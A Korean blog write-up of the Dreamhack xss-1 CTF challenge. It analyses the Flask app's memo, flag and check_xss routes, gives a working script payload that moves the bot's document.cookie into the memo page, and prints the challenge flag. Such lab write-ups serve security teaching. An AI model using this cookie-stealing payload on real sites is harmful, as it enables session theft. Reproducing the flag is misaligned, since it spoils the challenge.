문제

Write-Up
해당 문제는 주어지는 app.py
파일을 분석한 후 주어진 URL 에서 XSS 취약점을 발생시켜 Flag를 획득하는 유형이다.
우선, app.py
를 먼저 분석해보자
가장 처음 확인가능한 코드는 memo()
이다. memo() 는 request.args.get() 을 통해 특정 값을 입력받아 render_template()을 활용하여 리턴하기 때문에 XSS 취약점이 발생하지 않는다.
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
다음으로 flag()
를 살펴보자
메소드 유형이 GET
일 경우 flag.html
을 렌더링하고 POST
요청일 경우 입력받은 param
을 check_xss()
함수가 포함된 분기문을 실행한다. 만약 check_xss()
함수를 통해 XSS 취약점이 정상적으로 발생한 경우 good 이라는 문자열을 창에 띄운다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
다음으로 check_xss()
를 살펴보면 입력받은 param
값을 param=
값에 추가하여 read_url()
함수로 전달한다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
read_url()
함수는 구체적으로 설명하지 않지만 인자로 입력받은 URL 을 실행하고 XSS 스크립트가 포함되어 있을 경우 해당 스크립트 또한 실행하게 된다.
즉, 위 코드를 통해 XSS 취약점이 일어나는 과정은 다음과 같다.
memo
페이지로 쿠키 값을 표시하기 위한 XSS 스크립트를 인자로 하여 입력한다.
2. check_xss()
및 read_url()
함수를 통해 XSS 스크립트가 포함된 URL로 연결한다.
3. memo
페이지에서는 입력받은 값을 사이트에 출력하기 때문에 쿠키 값이 memo
페이지에 보이게 된다.
위의 과정대로 수행하기 위해 flag 페이지에서 다음과 같은 XSS 스크립트를 입력 후 memo 페이지로 가면 Flag를 획득할 수 있다.
<script>location.href = "/memo?memo=" + document.cookie;</script>

Flag
DH{2c01577e9542ec24d68ba0ffb846508e}
오류, 잘못된 점 또는 궁금한 점이 있으시다면 댓글 남겨주세요❗
Uploaded by N2T
'Dreamhack > Web hacking' 카테고리의 다른 글
ClientSide:CSRF (0) | 2023.01.20 |
---|---|
xss-2 Write-Up💻 (0) | 2023.01.20 |
ClientSide: XSS 🧑🏻💻 (0) | 2023.01.18 |
[Web hacking] Mitigation: Same Origin Policy (0) | 2023.01.18 |
session-basic Write-Up (0) | 2023.01.17 |